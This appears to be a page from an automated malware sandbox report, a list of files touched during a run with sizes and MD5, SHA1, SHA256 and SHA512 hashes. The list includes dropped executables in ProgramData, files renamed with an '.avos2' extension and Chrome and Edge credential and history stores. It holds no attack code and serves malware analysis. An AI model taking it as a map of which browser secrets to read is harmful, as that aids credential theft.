a7cf7da8df5d3c0f14a667dd2631e5c7a48375f52332b30c42550e06f9e0eddd40145357a082048322139c30cdd3c299889bbe6a10488accd6d304e39c100a51

Download Submit
C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui.avos2

Filesize
18KB

MD5
699e811ca8c110e605e87d97fea3bb6b

SHA1
4575b545267f33352a6bcc572ae625dd9f5f1dac

SHA256
87a0ab481a6d0ecb72b5de03d8d51292d039f8ce4bd1226119ad87b1c1d251b5

SHA512
9ec630887de29bf40e27aa53dcd4fc99f8c59a2d1f541ef0f391d8da6790bcb7cca749c172537e04f6338420fbba3a4b2cceb63504e24a0009b2d05323c6be91

Download Submit
C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui

Filesize
12KB

MD5
fa96399c2e5403fdde4be099c0696e5c

SHA1
1faccce496d85ec9a9097d648203965b327f61d1

SHA256
2ca3e03b7fa21f81e1a30ebd14bee48a880f2a5fc1b8fb2d06d9ddce69b20fc4

SHA512
172b50e046ddf463af39fd7a7347b14e706479195a9fd69811199c4828e359cfafcbc1f6b2a22777e3805fcc02a3f2044e911b627f1de8d0ced9a86eca9e413e

Download Submit
C:\Program Files\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui.avos2

Filesize
18KB

MD5
4ae1e04b276d0be4d276197abd6127e2

SHA1
41e39a5dec9548d1b93318bb2c9277f25ec22691

SHA256
a134382c1ab0d6d41b91058281f0ff420681b81583aadca4f4be279a6938202e

SHA512
e41bbc5bf089e2a0efcb715447860cf330abea1cac1056210aa08e48fb2d92254bf7be96ba0f356702dc61d1b9b29c28d349333ab121c9389f34a2045a4523a6

Download Submit
C:\ProgramData\service.exe

Filesize
44KB

MD5
4281b5461ba14bd8d120b72d4c7e12aa

SHA1
ce0dc0fa3daead9d9cf8d97699144118af68c91c

SHA256
4d1c2ad91414be21420eea26ab49e3583e9d7ded659f969d3a23909c8ce17810

SHA512
a7dc39d25f6c2fb6ea09e2037b5cb95d6141698d5f7051ccb84d1742c20e43520e795f718fa1d1196007e764a05d893d57f8ac6f23df0a18da40cc7b738291a2

Download Submit
C:\ProgramData\windows.exe

Filesize
95KB

MD5
93d6bdf913cab64fec58c765afdba3d4

SHA1
ea2aa579723c407e944edca127e0850e349c8011

SHA256
d525c300a08bb594ee6e385d1c145d857935ed0303a534fcb47dc1637d2f03c6

SHA512
54bd792b65d01bd8b1b1aa43c3cbd20e0028966a264b1d117660acb279587b92a903ac7c82e66a35265644dde212179a9406fec756ca2da239f228459a4b73e4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
80794ba3b66053acf37c3b72a7c87ffa

SHA1
44d02a59bdec90059fdc75c131cb5abab8d69138

SHA256
8110f46dc4298cb3806fc7dc28578f99791cb090cf8fc31411841f3b0e4dbdac

SHA512
64ee4928714ba253481db34b22999c868071400dbe0c319e4779acb8b6762fc461f8e17ef9fd1e1d1b86125874e630849a6e02b1ebbf8118bf519736a4c137d3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
552B

MD5
76d1b6206eb202e9e1e49286c9ac27f6

SHA1
078b093b0e1459bba38cc34b2527f58aa4b71378

SHA256
1cbc695ae989a7a30c316c485d1fb3c293df47a69145c21dc25078bde8740107

SHA512
2b7377a7d9f5f8d9f8e3ca96ad0571f827856469ddca985d30e3f9e3b5bd79d64e6f21befe7c2fce025c95203044d166c5c5c870b519a637cc9087d9dc3dade5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History

Filesize
160KB

MD5
a233f3843ab7e38805e47ecf4421ddd3

SHA1
84d07849baa1d18d81a261cb1992822362082fe4

SHA256
0466976e86e669e904d6742c4533b2261885d02b95b847cae8ca5e4a2ed1db05

SHA512
0bab8581cb6326627e0e2260b1054ef2d181e922998a20000bd355b11a597f71c26e27063226204bb26c7793bd15c6199037daf4c8852a9f8bdf4cf97668d858

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data

Filesize
40KB

MD5
302ec554196b82b9b8c56b8a1082c28e

SHA1
44de300ac752f4351a88f608fceeedf3d46b0ae2

SHA256
68dcbda33ec435643e14e5c0491b1756b450e171cb4fab6cd4a655c1ab4200da

SHA512
f2f0c40d2cb3588a4eb7400855a8ff8792acaee40e0871dc6986962c4129174b190c0617604fa3b770dcae5a6268c02ea6d69e28e9e89ab0aba6423656023378

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
3KB

MD5
d5ceaf0c0b860ca4c8943b6a1c9cfc60

SHA1
0f1dc67f0c4fb5aeee35801ad9ce90568ee1dfc0

SHA256
e925e7841e874a0a2d382c0cbe23c421295a7a66ff7a865f38a8d0a7b915b1c5

SHA512
017d21c9d9986f8d2ecd011f567c5c928f4abe21c34f2e4f2ee7c87560267cc8219ade5ae364ab38e9a62b8c1d170dfa0c9e27df6e89780cf0101cf55067a3ee

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
4KB

MD5
d701eb9c730fbb41931f6530ab0794a5

SHA1
170eac03e99e701be6e2aae086834cc551296a8f

SHA256
f22c74f3efd12c35fb5376fb9462bd9bd07661f800e99997b182fb6070543046

SHA512
27f43670a36ac0b079842305ded54e9130c44760dc5eddaf0920569e982cfcca10d3ab7e12cfcef27afa67ee2551da3dd7ad53e1e6cf2a623134450adf36941e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
356B

MD5
0656772033275662834cc76a139c92e8

SHA1
13a30b82630e8945255ca556b38bc1b5cb046288

SHA256
1fe1d96754e14efaa2778a1828aeffa8b67a10fb66e68a58e164a1dfd385332e

SHA512
63e61f84af21ff7c2b97dfab14b23c464f0a1ec46391b005c1fb3adf76fcb83b86848e9814a1557a397a594075ab63474b89314200566390e1e91c27cee71a41

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
523B

MD5
ed914edc4112ec3afb0ee858765bd841

SHA1
b238333820c4b9e256bde502ab3480309e66f02c

SHA256
9e27294fd24de80249cb6c6ceedd0e60e086d60dc6ed509ae32be7440e8e8cf8

SHA512
f977c6067fefb0ebcee2063f16eb638d8b88518adba209fa0c183191e4c8f82307b7bff4e398c1baa769d4f5bfd26102b6edd444fc244154d1ec669be6811193

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
523B

MD5
7a6148a7d7de2d8c4b8656ecc504fcb4

SHA1
f5c9d117c9423625ed703ed952190f21cd6b80ae

SHA256
0b4bd0301beec9ad87bc022fed851e8414d8ec7dc39aa17c998665b4224f718f

SHA512
4264e2a2ba15b10f2fc9f7af1e50349b9fff6b8c83a482f9d273d3c24ff822fd03354ca0fda7fa610acf0cf4f822984c0879376fbca6f20bcef21d1842a79e13

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
523B

MD5
62026e487b29cafc5eb17ae48bde843b

SHA1
b279ffc23d369fbb550343357c16e10aaec554b8

SHA256
7f2f38c5395b9396cb845f417354a632b20384c8ee655ea5e6262414ad79c37d

SHA512
6558b67416193f79b50e0ea9b9170e7eab33efd68641da7efe93ca8f8162973f688b605d43e90f6038394be3c8dfde93864def7917db6ce32aa6f8699f3aa552

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
523B

MD5
8287e7d173829f4b990e5e58ab46e2a8

SHA1
b181a3c5f94c42d8ac5e640a3d80e31b753fcbdb

SHA256
b29fde6498b2c47b3ca91992f3a5d239129203cd349f9937f88bb155db6dad37

SHA512
6a688b3f358a7d3b0db979573cbc39b3a78d3bf629fb470f662ed011eed029d84026e43888ef2b827b1ebf3d0951d8f1d3c410dc04e7bc851c519dfadf798c40

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
67070c0639d2ea713371c8a58aa67a34

SHA1
a1bac7a3749600dc07c5d8d66bc21c8ec0542cb1

SHA256
2acdc58b3ad8cf8f943a1268efbd018f0fbe95c94a2c56188ab9eb54740b16f4

SHA512
97742e1acc0a4d511e073c40ecdc88ddb7dff25322d48e81086f914ef1a2ba01e3c66985f7f9ea91f9ea2da62d26851ddeb230f240f5b5a4f13142a151863825

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
5d0d0be33d07bf991e66a7faf43e7a34

SHA1
4d1c68102c60ef07b5349b6de02ca9357fe71061

SHA256
8ea879f3b125a40ad42b7f1a477cb9c766243727f0a2d0b33cb94ec13e6e27a3

SHA512
55ff55934b466ea486ebee194aa3d8849b18552039ad8fcf0927cb22fbd8d587fd54f9544a400629fdc0a786ccfff6a21075bc391b019396a62802ffd2fa6e02

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
aafc0c43dc78b69921d297de6728882e

SHA1
2b0fa4605b42213631992fae0dbe07ee2a2c9d8f

SHA256
33161e12159799272ab4d12d776a12719191687b4f7a707957f0fd7db945741e

SHA512
cc2daf1de85896e3a4be5018c40ae0ad5cd834f3a3bcb458441a1cc0252c016646103a81e05bb45fce42ca85d851a87570fd088f215c40cf415ac29fc3e0226a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
9e205ea8b855a64c419ee77237bf582a

SHA1
33cc9cfee1a5660d9d9c59613e2a9b295ff9718d

SHA256
027b26f6afd389ee5f16277e2ded1eff6d0f8643a4a494313807be7af35bb329

SHA512
96515974ec88fa1db4064d0856237d28644b48036bc076151c1c49a815df89ea76120f92ade5c7dd5d6cc859e955adbf9f7c4eac6c2d57b22aafda0a2ffe3bd1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
b1d03e68a18a80f6208392049fbedff5

SHA1
7ec8543f3d40b84791bc2b7923ac03f77a9ce182

SHA256
39acf1352429068a812882068b68aee000f6dabbd3eb5969e4d94ae0fcb5abef

SHA512
45c8eec2a346c016e4d6fe175e91ef60a3b5fccd1ac8cc17acd3d927dd5012e96187003a11df95c53d943454497a4bb41b219082b9322dcd128d1d2078a6aa1a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
bf9be1d3f866c0074ead5904730d4492

SHA1
6b38ffc5b4d762a0279d7a20fb73d1961dbf5b6d

SHA256
10a84ebc991911544e8f3ab309162c232b04d019597024cef480ad00401a53ce

SHA512
7e3aa85e79042689b48006ae55aa6cd22edecde6f46c8f4571dce133099c48f833df53fde9c29ebc9ffad6b6eb314c6c06043d5ce5fa609452b3676b8748fe92

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
e7a7511aafbfd5e3e1198f8508523cd4

SHA1
3768b47594c79617b5680ca5ba9c5d3915cf7ca8

SHA256
502b3cb173c1143bf0feec11f87e1071ab075d9d6f5972d488d1777b781022fd

SHA512
1f4b918b74b6c99bb89b92cef2b3596ee90a94d161b2b315dc9dae743f67f6b5c792b4f8a25f6f7ed333b2c4e12b64df1d6d2f8d8152f1f2ca535e4ec360699c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
e9b2ac1aec09d07198863e2f4a046b2a

SHA1
fccd50ed050982c20cfe48d111e5ab587ae2fb4b

SHA256
c78b7afaa4848e221016bf969ff7690e7b65f4d4aa818c20fdd12c363d4cd842

SHA512
1c939e468efc657f2a293f05980e1f1cabc2c88860b7a490b4664cedd8017af157c102fa4bf722603dcb8b8c32851fed881cbf4c95ff6e46ef5c8996893a5c9f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
15KB

MD5
844d4ef145fb080669ea2aa639ad6d40

SHA1
85e105749697480869f3a5ed83337cf65b89362a

SHA256
ee1633b3394079c3928c1d0ce0f980db3c11bc3c51a5332e803d41448de2f8bb

SHA512
11080d658700e66fec4cd6be401e33abf98d70f4deb5af4d5e8b52cbde4812a645e7225a05be4b9873c5de53970de4d8882a58a7a4eb0c2a38e123f7759cc62d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data

Filesize
114KB

MD5
a9c9b618829efd84824478d7fa1460b3

SHA1
0f88d82057ce6faf488515aa5120b86f8e174507

SHA256
7721652f29701d2f7f38d3eece51ab4689da904d64aa5dbe6f31c1ebea9cc593

SHA512
4d89f858d2a2f97cdfc7cda938299a2d33644fa5acb324f13028587a506fe0378deb0a2ca4beddf47cc2835e23d5b86500d64ecce8f5a6a0888aeaa4b47d4064

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
233KB

MD5
71ef64709b9e43b8208515161cc43ac3

SHA1
e225de849ca616a41297c5ea622846cba9d17707

SHA256
7d6635bb99b3a4741d54c4da4960164948b93cb8f7ff72e45133cfd518f61776

SHA512
542bff56cbb4a2ea773ea20a386d36e0d999b046200371272c185bc9fd29f26f3795a789fd5d0699f2735ee4f2ebce80e9fb84ca06adedca74470bd170ec44db

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
233KB

MD5
f26410bfc38f207d125b244553c91ef3

SHA1
1bfff6ecb5a869a725f687ed36909249d5ee68ad

SHA256
2608bbefc0d14cf48d8c9759057b0b0442ae6f19da26a22a734de357fd030b7e

SHA512
ebfc0b5219cc6f4f771749561346205cfdaa43d50a5b2c491bbe3298d7279bf16042b6b31a65d45f02ed4d47772378c1ac2940383b77db0ec1162d6abcc14bd4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
233KB

MD5
c0922e4b1d0c32728464b5936d25cf49

SHA1
b929675d9690abec5b7ae56f52cadec286a6136e

SHA256
7e6511e8808d8b348d5a9ef1a17cb2cfbc884ac551b0f929f4d81a08e8e69852

SHA512
ede0e52812a3bdf49ea844c2029c63cbcd737874fc58400be04b969d35a99b8d5364c4ce0ff3b9051aefb0b5091eecc9f00d4391632cf2b506a1c2c2c75a7aba

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1

Filesize
264KB

MD5
a133cc9888d0761409c6810b434bcd59

SHA1
f5da351456ae16aae396e148be1c939904dbbcce

SHA256
5a4bc1b28597b62c36b222930b69268aa5b1e10e23640a94dc868d9516901742

SHA512
3966ecb77653dd90a046af768127ffc25431dca484264f29a866f3f80e26efcdd9fe49b4b0e3539da6327be63da055ea4a3f05fb16c50829af1283b04267f853

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\72236167.exe.log

Filesize
425B

MD5
de75c43a265d0848584ae05945570edf

SHA1
69f95177914f8d8b2f278a91f585a0024b8dffd3

SHA256
d9bdf6a2bfdd9b2b5c8593de17ade3d8d317dad331aa6ca0da7483dd06db1140

SHA512
365f29c693dd7aa2ade092d765a96f20bf1f7fa93bca7f3b25aeddf5700817b9fd388e8f7d9f1b781c8a876739b06ad16d61e7ed08a1c85ac4be4686a38c63bc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
be8983c45152765cf6b429a3dfa9609f

SHA1
1e162eedfb3213c1ab1ec201b4aa7ba91b319828

SHA256
106989065e76bd600640c123cd1d2fa8af8c6e00a17e264a94a988ff6653b727

SHA512
429d79d7e104cbf7d1283fec2809a5d1dab38492c7b24eb447031f4ad44637bc5df16be1b04f74bc09adc1523aef90ceb402ed05da511286314e64e1922bf9aa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
8956fdd8a81812861268518117d3da32

SHA1
6862b764b28d922a11845bd940849c313e04c583

SHA256
c93f57a78ad76e23e1d86a9553e5fad085e40d85e97d62295cd5735f0b9ce020

SHA512
8f1532f7aad5ddfc56df1a629c983f8ba948d23c66371eec31393b6e1814ca3a37d14bc79bef6d74e27a5dc150d13b8c331a9a8300fc63f541c79a964d710088

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
02a4b762e84a74f9ee8a7d8ddd34fedb

SHA1
4a870e3bd7fd56235062789d780610f95e3b8785

SHA256
366e497233268d7cdf699242e4b2c7ecc1999d0a84e12744f5af2b638e9d86da

SHA512
19028c45f2e05a0cb32865a2554513c1536bf9da63512ff4e964c94a3e171f373493c7787d2d2a6df8012648bbefab63a9de924f119c50c39c727cf81bdc659f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
826c7cac03e3ae47bfe2a7e50281605e

SHA1
100fbea3e078edec43db48c3312fbbf83f11fca0

SHA256
239b1d7cc6f76e1d1832b0587664f114f38a21539cb8548e25626ed5053ea2ab

SHA512
a82f3c817a6460fd8907a4ac6ab37c2129fb5466707edcfb565c255680d7f7212a5669fe2a42976150f16e4e549ea8310078f22ed35514ee1b7b45b46d8cc96e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\79aa5014-a5ee-4813-8742-fe9481f83ffe.tmp

Filesize
1B

MD5
5058f1af8388633f609cadb75a75dc9d

SHA1
3a52ce780950d4d969792a2559cd519d7ee8c727

SHA256
cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8

SHA512
0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000005

Filesize
16KB

MD5
100c891c521ec15744bd11d4c828c8a3

SHA1
3c8cddcc4250eb946a8dbd8bfd544b79a28c3a24

SHA256
030e00b1f0a1c5439aefb062e8215b11c5f0c40562f7dba5d3ba492bfe834996

SHA512
e11b3722f376d461480ca0ff99f5a42cc5e0608cd90f970e5de2cdc505a6d574be761287b38682a6f3833a394de7a054934f5a8e5988004d6b56871a35b7db8a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
9bbfdf1f250d76d1543129e3e05dc187

SHA1
8330a709ea888d07732939db61ebb6df79970f03

SHA256
34b59af65080228481aa44326a9a8d7a315cb8274a50096911b4c30c4d8b5246

SHA512
a6f0ef2fb30072e5704fb8f36f6c71edf1ebfe3d0b99b7e0b3651c39b6046b0991d769f55336437dbcd9725b96a6f03dbc5a9b9f4c2a92fd9e3363cc14671718

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
456B

MD5
3bedf7843b169711042665709700ec7c

SHA1
1956ad834f5bdb601e25994068748eb0be2bba3a

SHA256
c63deafc058fb5a4127b5200fd079661520a6077a25abe5899e697764515ce92

SHA512
b7546ea12f78541a80f797bc1a3b9c9164e07310307ce4de12cee351d6567f75b1907ded490668470f8584ea7491526cbecbc18b7a82950b1eb654c591ef993c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

Filesize
20KB

MD5
30aaa91eb37791923f2bcfec42d8f97b

SHA1
9be7f0e4a5fc3750b0b67d84de2055c2606a0ab0

SHA256
86715a2e81f711ff32b839dd6c73a9b4681a4d82de1a9aa97868f9d226e6ffc9

SHA512
70287fe302b4486c4375497810c38486673560dce9fb4532a42580d0eae29499c46fedf58910653f296cd5514862cdb48b26073b8bf9f4c7ccdfa566ae755d4a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History

Filesize
116KB

MD5
b56b622e8eac57a2d695c7dcb369b8a5

SHA1
2c49011ac0feb48b7f538ae27d7789a1bced799e

SHA256
eba5e848a1ee4c759d9b941a17a7c467c012a757b0b2c47186ac2294f5f35c6f

SHA512
79a8cb46bfa8aec7f2c643361f9cc81e37f2eb6c13e7f6533de97e9ab4ae31a0a2aa3134a62cba6301578366f7a9bfde81da12f481523f56e4e218d242af2392

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
2KB

MD5
2f7b79a903a7eef137bcf9824634dd29

SHA1
f79d9a7fe8b2d2d33f2bf351aaf60970e6674003

SHA256
abe073e3d620e2ca7c79ca83463ab2ae7b88cd9d9d73f5a301175fe010bc67a9

SHA512
fcbf6f1a04f227fae84a46bd586d2cf9bb165b68123386cce6fd355cc2da7946e3570df21b30fbd9d65ac7df1863c5daeb237abd8731709db7bac2c82041e1c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
1135c26e679701523d9ce8a81af64ea9

SHA1
d2b4e0e4061f6f113177e6150f059df3bdd05f69

SHA256
e1a329df3cc739e5d675a4a045e83800a5defdca8bc041383974e75a5827fc49

SHA512
44780bbd75555fd2c0aac2988d489de5f86ee0d9cc3048e038afbb3fccb2a8c35983af94227d7544a66d7a4ae8966c8044018bf2b2b9041ff8d422deb0fb4cfe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
f1dd175df5b0df7b1f6d78878553a9ab

SHA1
16f261fe15562e30361cba65b4e11a39bb2b2239

SHA256
a3e0328089a9bd194b2f60ac402e00faa1ea4f391bfb09fb42c4654ed711586f

SHA512
fa0d245bc9a5318df579d6242c1c9bc6ecc929b8a35068468cf3f8bea257b36bf5fa613cfc4af76984447562177740e6f2ddbbc17369ac9a5dc8dc7e9f2c97a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
76d533aa5acdd010f7ed34d2825a3719

SHA1
6db4bb0f9a34ea1a06663604dc82eaf42afce12f

SHA256
7338eda42ad87fd656f0a23cab90c709e1d49c6822eca34ba28f5cee90e74af8

SHA512
b4170ecf78ec6622168c0966462ee5d328d4881280a1b84bf6bdc9988bfeee0352219bf04c8b6973b7bc1dd192ca96255daef176d5e12ad088c4e4df65cb543c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
ffd89a9088ad2f8d744b60b6585d6f00

SHA1
28a6097849bb9ffd0303c34c54378663bce5fa70

SHA256
e0e55076f0b5eae6f7e91b27991aea11a36388b7790fc9d51673fa4fd817ecfe

SHA512
a0423edecbd52d3e98808358887186aec2be8f3d2eb8aaeab1fd93b41052cac2a5983e4a959ee1362c489267f39e72b0e8dc930ffa758cf940aeb6d0174f162b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
bead61a4f12ff6a833856b8e15b0f6c9

SHA1
19802a23c6adaa1a26446bf70194b8821acf3366

SHA256
296d91a8375b682868787f4423251220f4408cf4069f0fca1a009fda2852d210

SHA512
7b75e100d2cd919340158bdea3d564f2ffb4b768bf6e690e0842ed7b20c9b8fe1bd5dcbe05507198afbea4a48d7c938eccef2497272a059a9f1c0c2c66aab451

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
5d90d683abef7f5d299249973606dd3a

SHA1
cfdf795e604f3d5d33c780978ad73962cb2113da

SHA256
20df8dafa0f990ffe292bd979592170aa6fd7a9135524aa5b79d4addbe6347d8

SHA512
7702015f406e1f56ad8769136f8f4d353612d5b5daecc1c7093c3e1818b76fa23d686810d8933381478d51ff2524f0bedb39e928ca07844462573da5ae03aa37

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
b7b30bb4d76ec041670f5f6d3766ed3b

SHA1
7d471904744f3724d2a9d6672589a40dd74894c2

SHA256
29a3ad1694bd59bb8ec452bc0aaf5177e95b2a34faa8e42f7d154e5c66143523

SHA512
5b51759825352a2eb62df5aa0a08ad65312bd53b483bd2077dd5738a9af70ebc7ebb809c36b7ca7013e93390bf7ad7782fe44ef9e72e73a7fd62f560b63da254

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
36267c13cc034c6a3a3f9f7fb673d751

SHA1
85e8ae102b6f33a8cb228f503aae013c2c78fd83

SHA256
ba5895ba58a36e8b2af5889bfe6aac0abf9675c81321e993745c9651ab31a4c8

SHA512
e7444fad0adeee65956e345e0f0bfda464b0fa9a5597d849e627e444e5998a385be2636f9b2cf2ba4015cb37776c7a382350b60cd35174d6c5ae5db5b30de8ff

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
0b87e134f3b2bbbe25def2a7b2ee3379

SHA1
c3d969ef559272338ffa1a6d69fd1d45fca9d1b3

SHA256
8b107b4f69e22c934898be75b718a66f976bca0f5c06a20f044df4b97795f011

SHA512
43fb3e1f8cca7edaf8de8ef2884131f551a4752f3df7f13d53df17121f4ac4f67f71da80c2da157e1d1d6d84d3f9a7be1bc2fc8d4a6ba9a22399c3f2f580605b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
96B

MD5
bb04137005773a48f29cc7f84ea6a683

SHA1
b8efb31015df1185aecb975d11b6f659810b5209

SHA256
52a89814077576946a0a49dec95b924f2c53e230fbe99c8e6d9dd128d27207bb

SHA512
6a0342135617d7dfe89d97f34765afc368a60c711d3df98ca238e61545ac995366c9314b3e63dbee3d331fbb3e839359790ec28092f33f9c724235871cc532d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5bfdf4.TMP

Filesize
48B

MD5
8d88c668eb51a8c0fd7ef7b955c693cb

SHA1
4e99501d7d94638dd89d325c258c7b5dfc584afc

SHA256
d3880d6a77cff731c4312e77873e1578e4bc157918115ba9374e6ab6df6f1256

SHA512
439d57c9ac507d230bbb338253d7aef8514c8adaea2bab7aaf1a7156045453b37e2255d583154eb8d4aee62526f8e29c2e4572d1546e17791edc39e4cd34cebd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Filesize
326B

MD5
3c6d880fbcae8358d176fb084a3609b6

SHA1
76e75742acb6059dfcdd024cc581d51e609d4b47

SHA256
1ffd456b5d0a0fc6d4a938daf2eaa031e4dfe9c02a4723f1749e5357bba65085

SHA512
51e1284e9c5be6ed6376c883fb81d14cc3ae19e0e13436669e6e802e22f67a5960b2124ecdc69dcecbd3389c7a509fcc5f68d9a72f6bc9694e6f6850f7c887a2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
368B

MD5
097a961c2801909b29fbcc79dd922b8c

SHA1
cff9c0bba7b3d6b3ef76c216717cfa444d514750

SHA256
689b8612a8c269e62dc16994d0f35e54be1e63a44ea346564d3f675455058ca2

SHA512
1335dba5daed4266c34e77f18a087a1fd3fcbc6a1de131d02598e2e8ad02e92d2814d1ab0f4c43ee274dc83e45541abdae216c29add053ce823ae9cecb8b688e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
702B

MD5
1541c8b90289a862a6dd58e9c5f96d63

SHA1
fd2c41654c43f2d1fb22f22cede2b624d55c0401

SHA256
89146bf6c8266b6bfbe9593f2f06dc9a4a5bbff315dfd6469f11ef033e2a5d55

SHA512
f411728421a89124f248fd9d9dc104a07e0c077fe1361f2538656e38aceba5160711be574d1154483a4156f1d64187a852fb0cec24acb9138739f8d50668ed71

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe5b2816.TMP

Filesize
368B

MD5
98eb852532eb04fce252a59beb494301

SHA1
d47a2baefab6587f58961fd91dae4c22221bf418

SHA256
2895bcd3a3018ab1da740272f8a2e052bf470832530c0003e2a5d547cf55d32b

SHA512
fede418000a01946b753313da04b70dc3d6a09e5b1517508b3250c4867f7595d10d0b59b99655f097594e97a908cef2610cc7406ef41a5706bb8053341137ebc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

